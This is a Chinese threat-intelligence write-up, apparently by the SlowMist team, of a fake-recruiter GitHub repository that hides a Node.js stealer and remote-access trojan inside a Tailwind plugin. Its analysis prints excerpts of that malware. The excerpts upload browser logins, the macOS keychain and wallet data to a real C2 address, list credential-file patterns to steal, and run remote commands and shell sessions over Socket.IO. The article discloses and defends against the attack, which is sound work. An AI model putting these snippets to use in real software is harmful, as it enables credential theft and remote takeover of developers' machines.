威胁情报|伪装招聘的GitHub投毒分析

admin 2026-07-19 05:03:29 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 慢雾安全团队披露一起针对开发者的GitHub投毒攻击,攻击者冒充Web3招聘方通过LinkedIn发送含恶意代码的仓库。恶意代码伪装成Tailwind插件,在项目启动时执行,窃取浏览器登录数据、钱包扩展及macOSKeychain文件。分析揭示了C2地址172.86.126.76:8087及三个第二阶段Payload,分别负责数据窃取、文件上传和远程控制。建议开发者警惕非官方仓库的代码执行请求。 综合评分: 85 文章分类: 威胁情报,恶意软件,代码审计,漏洞分析


cover_image

威胁情报|伪装招聘的 GitHub 投毒分析

原创

慢雾安全团队 慢雾安全团队

慢雾科技

2026年7月18日 09:00 中国香港

在小说阅读器读本章

去阅读

**# 背景

#

近日,MistEye 监测到一起以招聘为诱饵、专门针对开发者的恶意代码投递活动。攻击者先通过 LinkedIn 联系开发者,冒充 Web3 项目的招聘方。在沟通工作经历和面试安排后,对方向目标发来一个 GitHub 仓库,称其中是面试前需要体验的 MVP。

聊天记录显示,攻击者先询问目标的工作经历和产品经验,并讨论后续面试安排。之后,对方称需要提前体验产品,才能在面试中讨论具体问题,并借此要求目标运行仓库中的项目。

这套流程与真实的技术面试很接近。对开发者来说,拉取代码、安装依赖和启动项目本来就是常规操作,因此不容易在第一时间察觉异常。

**

(攻击者通过招聘私信发送 GitHub 仓库,并诱导目标在面试前运行 MVP)

该账号将自己描述为 Web3 投资和商务从业者,历史动态也一直在发布项目投资、产品建设等内容。因此,当对方发来 GitHub 仓库时,目标更容易把它当成正常的项目资料,而不是一次恶意投递。

(相关账号页面被包装成 Web3 投资与商务背景)

**慢雾安全团队获取仓库后,对项目代码和启动流程进行了检查。

检查项目配置时,我们注意到一个可疑的 JavaScript 文件,它被当作 Tailwind 插件加载:

theme/js/auron-core.min.js

**该文件被写入 Tailwind 配置文件中。只要目标按照项目说明执行开发或构建命令,Node.js 就会通过 require() 加载并执行该文件。

theme/js/auron-core.min.js 并非正常的前端组件或 Tailwind 插件。其代码经过重度混淆,实际是恶意程序的第一阶段加载器。

该加载器会启动多个隐藏的 Node.js 子进程,并向其中写入三段第二阶段脚本。这些脚本分别负责窃取浏览器和钱包数据、搜索并上传本地文件,以及建立远程控制通道。

与假空投页面、恶意文档或诱导执行终端命令不同,这次攻击把恶意代码直接藏进了一个看似正常的开发项目。风险真正发生在本地,目标拉取仓库并启动项目时,恶意代码才会被执行。## MistEye 响应

##

MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统,集成了安全监控与情报聚合能力,为用户提供实时的风险预警与资产守护。

MistEye 已第一时间通过情报推送与客户告警通道同步风险。

# 木马分析**

#

本节围绕仓库中的 theme/js/auron-core.min.js 展开。分析重点包括触发路径、运行环境、第一阶段加载器行为、第二阶段 Payload 职责、C2 通信、命令协议、IOC 以及取证排查方法。

*## 1. 样本基础信息与触发方式*

##

分析对象为 theme/js/auron-core.min.js。

| | | | — | — | | 项目 | 值 | | 文件路径 | theme/js/auron-core.min.js | | 文件大小 | 4069335 字节 | | SHA-256 | 78315f36bfe3ac62ec1a69a281be64c0db3614250a7851708813b0739a07842f | | 初步判断 | 体积明显偏离普通主题插件,但仍需结合加载路径和行为确认。 |****该文件超过 4 MB,远大于一般的 Tailwind 主题插件。不过,文件体积异常只能说明它值得检查,还不能据此认定为恶意文件。接下来需要确认,项目运行时是否会加载这个文件。

tailwind.config.ts 中把它写成了插件:

require("./theme/js/auron-core.min.js");

这意味着它不是浏览器里加载的静态资源,而是会在 Tailwind 构建时被 Node.js 直接运行。开发者只要按照项目说明启动项目或构建 CSS,就会触发其中的恶意代码。

## 2. Node.js 侧伪装插件

**##

继续查看文件开头:**

sed -n '1,6p' theme/js/auron-core.min.js

关键片段摘录如下:**

module.exports = ({ addBase }) => {  if (process.env.NODE_ENV === "development") {    // 混淆后的恶意代码  }};

**从文件开头可以看出,这是一段 Node.js 模块代码,并非常见的浏览器 Bundle:

结合代码结构可以确认:

  • 样本运行在 Node.js 环境中,不是在浏览器中执行。
  • 代码在 NODE_ENV === “development” 时进入混淆 Payload。
  • 外层被包装成 Tailwind/PostCSS 插件,恶意逻辑隐藏在插件函数内部。

第一阶段代码混淆严重,直接静态阅读效率较低。因此,分析时将样本放入受控环境,并替换联网、命令执行和文件访问等高风险接口,重点截获其写入子进程的第二阶段脚本。后续分析直接针对这些解出的脚本展开。

## 3. 受控环境下提取第二阶段 Payload

**##

为避免样本真实联网或执行命令,分析时通过 Node.js vm 加载样本,并伪造了它依赖的网络、进程和文件系统接口。

  • child_process:不真正执行命令,只记录 execSync、spawn 参数,并截获 spawn.stdin.end(…) 写入的脚本文本。
  • axios、http、https:不真实出网,只记录 URL、请求体和头部。
  • socket.io-client:不建立真实 Socket 连接,只记录注册事件。
  • fs、os、process:提供受控返回值,让样本继续执行,同时避免访问真实环境。
  • setTimeout、setInterval:记录定时器并主动触发一轮,以暴露后续行为。

受控分析脚本 tests/malware_sandbox.js 的执行结果如下:

node tests/malware_sandbox.js

关键片段摘录如下:

{  "outputPath": "/Users/test/Downloads/governance-staking-build-develop/tests/malware_sandbox_output.json",  "eventCount": 49}

运行完成后生成事件日志 tests/malware_sandbox_output.json,并在 tests/malware_payloads 目录下保存样本释放出的第二阶段脚本。

ls -l tests/malware_payloadssed -n '1,220p' tests/malware_sandbox_output.json

其中 ls -l tests/malware_payloads 的实际输出如下:**

total 328-rw-r--r--  1 test  staff  35087 Jul 17 10:44 payload-1.js-rw-r--r--  1 test  staff  30758 Jul 17 10:44 payload-2.js-rw-r--r--  1 test  staff  95925 Jul 17 10:44 payload-3.js

**

本次提取出的三个文件分别为 payload-1.js、payload-2.js、payload-3.js。至此,第一层混淆样本已经被拆分为三个可直接阅读的第二阶段脚本,后续分析围绕这三个文件展开。

*### 3.1 受控分析脚本关键设计*

###

下面列出受控分析脚本中的几个关键片段,用于说明样本释放脚本和网络行为是如何被记录的。

首先,脚本读取目标样本并准备事件收集器。child_process 被替换成记录型 stub。最关键的位置是 spawn.stdin.end(chunk):样本向隐藏子进程写入的脚本文本,会在这里被保存下来。

functioncreateChildProcessStub() {  return {    execSync() {      return"stub-output";    },
    spawn() {      return {        stdin: {          end(chunk) {            spawnedScripts.push(String(chunk));          },        },
        unref() {},      };    },  };}

Stub 不会真正发送网络请求,只记录 URL、请求头和请求体,并返回一个模拟的成功响应,保证样本继续运行。

axios.post = async (...args) => {  networkRequests.push(args);  return { status: 200 };};

样本运行在单独构造的 vm 上下文中,无法直接访问分析机真实的 process、网络模块和文件系统接口。

const context = {  module: { exports: {} },  require: sandboxRequire,  process: processStub,  console,  Buffer,  setTimeout: timerStub,  setInterval: timerStub,};
context.global = context;context.globalThis = context;

主流程负责执行样本、触发定时器,并将第二阶段脚本与事件日志落盘:

new vm.Script(source).runInNewContext(  context,  { timeout: 5000 });
await drainTimers();savePayloads(spawnedScripts);

**该脚本保留样本的主要执行流程,但将联网、命令执行等接口替换为记录型 Stub。这样既能阻止真实危害,也能保存第二阶段脚本、网络目标和关键调用参数。

## 4. 第一阶段加载器行为**

##

tests/malware_sandbox_output.json 记录了第一阶段样本的主要行为:

1.向 http://172.86.126.76:8087/api/log 上报启动日志。

2.创建多个 Node.js 子进程,并加载不同功能模块。

3.为每个子进程写入对应锁文件,避免重复启动。

提取关键日志的命令如下:

rg -n 'api/log|Spawning|pid\.1\.[123]\.lock|spawn\.stdin\.end' tests/malware_sandbox_output.json

关键片段摘录如下:

C2:172.86.126.76:8087
启动模块:ldbScriptautoUploadScriptsocketScript
锁文件:/tmp/pid.1.1.lock/tmp/pid.1.2.lock/tmp/pid.1.3.lock

**日志显示实际 C2 地址是 172.86.126.76,auron-core.min.js 本身是一个 Stage 0 加载器,不直接完成所有恶意操作,而是负责启动三个功能不同的第二阶段脚本。

如果主机中上述锁文件,说明该加载器很可能已经执行。

## 5. payload-1.js:浏览器与钱包数据窃取**

##

payload-1.js 主要针对用户浏览器环境和系统凭据存储位置进行数据收集,目标包括浏览器保存的登录信息、钱包扩展数据以及 macOS Keychain 文件。

浏览器与钱包数据收集

进一步分析 payload-1.js 中的数据收集逻辑时,发现样本包含多个与浏览器数据库和凭据存储相关的关键词。以下关键词直接暴露了它的窃取目标:

rg -n 'Login Data|Web Data|Local Extension Settings|Keychains|wallet|sql\\.js|8085/upload|validationSecret' tests/malware_payloads/payload-1.js

**

检索结果如下:**

const browserFiles = [  "Login Data",  "Login Data For Account",  "Web Data",];
const walletPath =  "Local Extension Settings";
const keychainPath =  "~/Library/Keychains/login.keychain-db";
const uploadUrl =  "http://172.86.126.76:8085/upload";

**相关行为包括:

  • 读取 Chromium 系浏览器相关数据文件,包括 Login Data、Login Data For Account 以及 Web Data。
  • 遍历 Local Extension Settings 目录,收集浏览器扩展存储数据,并针对钱包类扩展(如 bravewallet)进行处理。
  • 在 macOS 上尝试抓取 ~/Library/Keychains/login.keychain-db。
  • 将收集到的文件上传至 http://172.86.126.76:8085/upload。

**数据上传机制

在完成数据收集后,样本会将整理后的数据上传至远程服务器。相关上传逻辑位于 payload-1.js 第 757 行附近。定位命令如下:

nl -ba tests/malware_payloads/payload-1.js | sed -n '750,790p'

**关键代码实际输出如下:

await axios.post("http://172.86.126.76:8085/upload",  form,  {headers: {userkey: 103,hostname: os.hostname(),      timestamp,"file-metadata": fileMetadataStr,validation: validationToken,    },  });

**从代码可以确认,样本通过 HTTP POST 请求将收集的数据上传至远程服务器,相关上传逻辑包含固定的校验密钥、上传地址以及请求头字段:

  • validationSecret = “SuperStr0ngSecret@)@^”
  • axios.post(“http://172.86.126.76:8085/upload”, form, …)
  • 请求头字段包含 userkey: 103、hostname、timestamp、file-metadata、t: 1、validation。

进一步分析发现,样本在上传前会创建临时目录,并对收集的数据进行整理:**

rg -n '\\.upload_|login\\.keychain-db|Login Data|Web Data|Local Extension Settings' tests/malware_payloads/payload-1.js

从这些代码可以看出,该模块主要实现了浏览器凭据、钱包扩展数据以及系统钥匙串数据的收集功能。样本会读取 Chromium 系浏览器中的登录数据库、浏览器扩展存储数据,并在 macOS 环境下尝试获取用户 Keychain 文件。其中可能包含用户账号信息、浏览器保存的密码、钱包扩展相关数据以及系统保存的敏感凭据。一旦相关数据被收集并外传,攻击者可能进一步访问用户在线服务、数字资产钱包或其他关联资源。

## 6. payload-2.js:敏感文件收集与上传

##

与前一个模块主要针对浏览器数据不同,payload-2.js 主要负责扫描本地文件系统,并根据内置规则识别可能包含敏感信息的文件,随后将匹配文件上传至远程服务器。进一步分析 payload-2.js 中的文件扫描逻辑时,发现样本定义了 SENSITIVE_FILE_PATTERNS 等规则,用于匹配敏感文件路径和文件名称。

检索命令如下:

rg -n 'SENSITIVE_FILE_PATTERNS|EXCLUDED_PATH_PATTERNS|8086/upload|api_key|seed|wallet|id_rsa|\\.env' tests/malware_payloads/payload-2.js

从代码中可见的部分目标关键词包括:

const sensitivePatterns = [  ".env",  "wallet",  "seed",  "mnemonic",  "id_rsa",  "pem",  "p12",  "api_key",  "credentials",  "password",  ".docx",  ".pdf",  ".xlsx",];

**需要特别注意,敏感关键词规则并不适用于所有扫描路径。代码显示,在 Desktop、Documents、Downloads 等优先目录扫描阶段,样本并不强制要求文件路径命中 SENSITIVE_FILE_PATTERNS;而在后续扫描其他目录时,才使用 isSensitiveFile(fullPath) 进行关键词过滤。因此,在这些优先目录中,任何未命中扩展名排除规则、可读取且不超过 5 MB 的文件都可能被上传,并不要求文件名包含 .env、seed、wallet 或 password 等敏感关键词。

敏感文件上传机制

在完成目标文件筛选后,样本会进一步执行文件上传操作。相关逻辑位于 payload-2.js 第 131 行附近。

定位命令如下:

nl -ba tests/malware_payloads/payload-2.js | sed -n '128,160p'

关键代码实际输出如下:

await axios.post(  "http://172.86.126.76:8086/upload",  form);

**从代码可以确认:

  • 上传地址为 http[://]172[.]86[.]126[.]76[:]8086/upload。
  • HMAC 密钥仍为 SuperStr0ngSecret@)@^。
  • validation 的计算方式为 filePath + “|” + timestamp。

由此可以看出,该模块的收集目标并不局限于浏览器数据,而是进一步扩展到开发者本地环境中的高价值文件。开发环境中通常保存大量敏感配置和访问凭据,例如 .env 文件、SSH 私钥、云平台访问密钥、CI/CD Token、项目配置文件以及业务文档等。一旦相关数据被收集并外传,可能进一步导致代码仓库、云资源或第三方服务凭据泄露。

*## 7. payload-3.js:远程控制、文件管理与交互式 Shell*

**##

**payload-3.js 主要负责与 C2 服务通信,并提供远程主机管理功能。该模块通过 Socket.IO 与远程服务器建立连接,支持主机注册、日志上报、远程命令执行、目录浏览、文件读取、文件上传以及交互式 Shell 会话。

首先分析样本中的 C2 配置和通信入口:**

nl -ba tests/malware_payloads/payload-3.js | sed -n '56,95p'

关键片段摘录如下:**

const C2 = {  notify:    "http://172.86.126.76:8087/api/notify",
  log:    "http://172.86.126.76:8087/api/log",
  socket:    "ws://172.86.126.76:8087",};
const hostInfo = {  host: os.hostname(),  os:    os.type() +    " " +    os.release(),  username:    os.userInfo().username,};
await axios.post(  C2.notify,  hostInfo);

**从该片段可以明确看到以下网络目标:

  • http[://]172[.]86[.]126[.]76[:]8087/api/notify
  • http[://]172[.]86[.]126[.]76[:]8087/api/log
  • ws[://]172[.]86[.]126[.]76[:]8087

**结合前面对 payload-1.js 和 payload-2.js 的分析,可以发现该样本根据不同功能划分了多个通信接口:

| | | | — | — | | 端口 | 用途 | | 8087 | 控制通道、日志通道、主机上线注册和 WebSocket 连接。 | | 8085 | 浏览器、钱包相关数据上传通道。 | | 8086 | 敏感文件上传通道。 |**### 7.1 主机注册与日志上报

###

payload-3.js 中存在 sendHostInfo() 和 f_s_l(message, level, data) 两个基础函数。前者负责向 /api/notify 上报主机信息,后者负责向 /api/log 上报日志或内容。

rg -n 'sendHostInfo|f_s_l|validationSecret|api/notify|api/log' tests/malware_payloads/payload-3.js

###

7.2 Socket 远程控制指令

###

样本连上 ws://172.86.126.76:8087 后,会注册命令处理事件。命令主干如下:****

nl -ba tests/malware_payloads/payload-3.js | sed -n '1237,1405p'

关键片段摘录如下:

socket.on("command", (msg) => {  const {    command,    code,    path: filePath,  } = msg;
  if (code === "102") {    return listDirectory(filePath);  }
  if (code === "107") {    return readFile(filePath);  }
  if (code === "108") {    return uploadFiles(filePath);  }
  exec(command);});

**从代码中的 code 分支来看,支持这些远程指令:

  • code === “102”:列目录,并将目录内容以 JSON 形式回传。
  • code === “108”:上传指定目录下一层文件。
  • code === “107”:读取指定文件,必要时上传并回传 fileUrl。
  • 其他情况:直接通过 exec(command) 执行系统命令。

用于快速抽取事件和协议字段的命令如下:

rg -n 'socket\\.on\\(|socket\\.emit\\(|code === \"102\"|code === \"107\"|code === \"108\"|exec\\(' tests/malware_payloads/payload-3.js

### 7.3 交互式 Shell**

###

除单次命令执行外,payload-3.js 还实现了持续性的交互式 Shell 功能。

定位命令如下:

nl -ba tests/malware_payloads/payload-3.js | sed -n '2177,2317p'

**关键片段摘录如下:

socket.on("shellOpen", ...);socket.on("shellInput", ...);socket.on("shellResize", ...);socket.on("shellClose", ...);socket.on("shellDetach", ...);

该模块通过 Socket.IO 事件维护远程 Shell 会话。模块处理的事件包括:

// 控制端下发socket.on("shellOpen", ...);socket.on("shellInput", ...);socket.on("shellResize", ...);socket.on("shellClose", ...);
// 受害主机回传socket.emit("shellReady", ...);socket.emit("shellOutput", ...);socket.emit("shellExit", ...);socket.emit("shellError", ...);

这些事件覆盖了 Shell 创建、输入、窗口调整、输出回传和会话关闭,足以支持完整的远程终端交互。攻击者建立连接后,可以直接浏览目录、执行命令和读取文件。若主机中保存了其他系统凭据,这些信息还可能被用于后续入侵。### 7.4 剪贴板监听

**###

payload-3.js 还实现了跨平台剪贴板监听功能,用于持续获取用户剪贴板内容。

定位命令如下:

rg -n 'clipboard|pbpaste|xclip|xsel|watchClipboard' tests/malware_payloads/payload-3.jssed -n '2357,2445p' tests/malware_payloads/payload-3.js

从代码可以确认,该模块具备持续读取并上报用户剪贴板内容的能力。由于开发者日常操作中可能临时复制密码、访问 Token、私钥、服务器命令或其他敏感信息,因此该功能可能导致用户短时间内复制的数据被收集并泄露。## 8. 攻击链复盘

##

| | | | | — | — | — | | 步骤 | 阶段 | 说明 | | 1 | 社工接触 | 攻击者通过 LinkedIn 等平台伪装成招聘方或项目方,与目标建立沟通。 | | 2 | 仓库投递 | 以面试前体验 MVP 为由发送 GitHub 仓库,要求目标拉取并运行项目。 | | 3 | 构建触发 | theme/js/auron-core.min.js 被写入 tailwind.config.ts,通过 require() 在 Node.js 环境执行。 | | 4 | 第一阶段加载 | auron-core.min.js 作为 stage0 loader,上报日志、写锁文件并启动隐藏子进程。 | | 5 | Payload 释放 | 样本释放 payload-1.js、payload-2.js、payload-3.js 三个第二阶段脚本。 | | 6 | 数据窃取 | payload-1.js 采集浏览器、钱包扩展、Keychain 等数据。 | | 7 | 敏感文件搜集 | payload-2.js 搜索 .env、私钥、API Key、文档等敏感文件并上传。 | | 8 | 远控维持 | payload-3.js 建立 WebSocket 通道,提供命令执行、文件浏览、交互式 Shell 和剪贴板监听。 |**## 9. IOC

##

投递仓库

hxxps://github[.]com/borismelnik1982-netizen/governance-staking-build

恶意文件

theme/js/auron-core.min.js

SHA-256

78315f36bfe3ac62ec1a69a281be64c0db3614250a7851708813b0739a07842fURL

hxxp://172[.]86[.]126[.]76:8087/api/notify

hxxp://172[.]86[.]126[.]76:8087/api/log

ws://172[.]86[.]126[.]76:8087

hxxp://172[.]86[.]126[.]76:8085/upload

hxxp://172[.]86[.]126[.]76:8086/upload

hxxp://172[.]86[.]126[.]76:8085/api/upload-file

IP

172[.]86[.]126[.]76

## 10. 取证排查建议**

##

如果确认运行过该项目,不要急着删文件或杀进程。建议先记录进程、网络连接、文件时间戳和落地文件,再做清理和凭据轮换。由于开发机通常保存 SSH 私钥、云凭据、浏览器登录态和钱包数据,处置时应默认这些凭据已经存在泄露风险,并尽快完成轮换和会话失效。

**### 10.1 网络和进程排查

macOS / Linux:****

lsof -nP -iTCP -sTCP:ESTABLISHED | rg '172\\.86\\.126\\.76:(8085|8086|8087)'ps aux | rg 'node|socket.io-client|sql.js|remote-shell|auron-core|payload-'

Windows PowerShell:**

Get-NetTCPConnection | Where-Object { $_.RemoteAddress -eq '172.86.126.76' -and $_.RemotePort -in 8085,8086,8087 }Get-CimInstance Win32_Process | Where-Object { $_.Name -match 'node|powershell|cmd' } | Select-Object ProcessId,Name,CommandLin

**### 10.2 落地文件排查

macOS / Linux:

find /tmp -maxdepth 2 \( -name "pid.1.1.lock" -o -name "pid.1.2.lock" -o -name "pid.1.3.lock" -o -name "upload_*" -o -name "remote-shell-*" \) -

10.3 高风险数据范围排查

find "$HOME" -type f \( -name '.env' -o -name '.env.*' -o -name 'Login Data' -o -name 'Web Data' \) -mtime -2

**排查时,应确认以下文件和数据是否被读取或上传:

  • .env 和 .env.*
  • SSH 私钥、云凭证、CI Token
  • 浏览器保存的密码和 Cookie
  • 钱包扩展与种子词备份
  • 剪贴板中曾复制过的敏感信息

**# 总结

这次攻击不是孤例。近期多起事件显示,攻击者正频繁利用招聘、代码评审、项目合作等场景,诱导开发者主动运行恶意仓库。

theme/js/auron-core.min.js 被伪装成 Tailwind/PostCSS 插件,并通过项目构建流程在 Node.js 中执行。随后,加载器启动三个脚本,完成凭据窃取、文件上传和远程控制。

样本可以在当前用户权限下执行系统命令,并支持目录浏览、文件读写、剪贴板窃取和交互式终端控制。

它已经不是普通的信息收集脚本,而是一套完整的远控木马。如果受感染设备用于开发或管理 Web3 资产,攻击者可能窃取项目密钥、云凭据、CI/CD Token、浏览器会话和钱包扩展数据。判断一个仓库是否安全,不能只看页面、提交记录和项目界面。更重要的是检查安装依赖和启动项目时,究竟会执行哪些脚本和配置文件。对通过面试、兼职、外包、空投或投资沟通收到的陌生仓库,不要直接在办公机或日常开发环境中安装依赖、执行构建命令。应先在虚拟机或容器中检查 package scripts、构建配置、各类插件、preinstall / postinstall 脚本,以及体积异常的 JavaScript 文件。

如果已经运行过该项目,应立即隔离主机,并保留进程、网络连接和 /tmp 落地文件等证据。随后需要轮换 SSH 密钥、云凭据和 CI/CD Token,退出浏览器与交易平台会话。若钱包私钥或助记词可能泄露,应尽快将资产转移到新的安全钱包,并撤销旧地址的相关授权。## 关于 MistEye****

##

MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台,通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。

本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎,开发者可通过 API 对项目依赖进行自动化检测,快速判定是否命中已知恶意包并获取处置建议。

📖 API 文档:https://app.misteye.io/api-docs

🛠️ MistEye-DepScan:https://github.com/slowmist/MistEye-DepScan  轻量级 CLI 工具,一行命令扫描项目依赖与全局安装包中的已知恶意包,支持 npm / PyPI / Cargo / Go / RubyGems 生态

🛠️ MistEye-Skills:https://github.com/slowmist/misteye-skills  AI 编码助手安全技能包,在依赖安装与 URL 访问前自动触发 MistEye 安全检测**

往期回顾

Grok CLI 风险分析:一个 prompt 如何把敏感文件送上云端?

数码港 Web4.0 与智能体安全联盟成立,慢雾(SlowMist) 出任创始成员

TG 账号失守、钱包被调包,macOS 木马如何突破防线?

威胁情报 | Injective SDK 投毒,加密钱包私钥失窃

Google Sites 社群申请钓鱼与 macOS 窃密木马分析

慢雾导航

慢雾科技官网

https://www.slowmist.com/

慢雾区官网

https://slowmist.io/

慢雾 GitHub

https://github.com/slowmist

Telegram

https://t.me/slowmistteam

Twitter

https://twitter.com/@slowmist_team

Medium

https://medium.com/@slowmist

知识星球

https://t.zsxq.com/Q3zNvvF


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:慢雾科技 慢雾安全团队 慢雾安全团队《威胁情报|伪装招聘的 GitHub 投毒分析》

    评论:0   参与:  0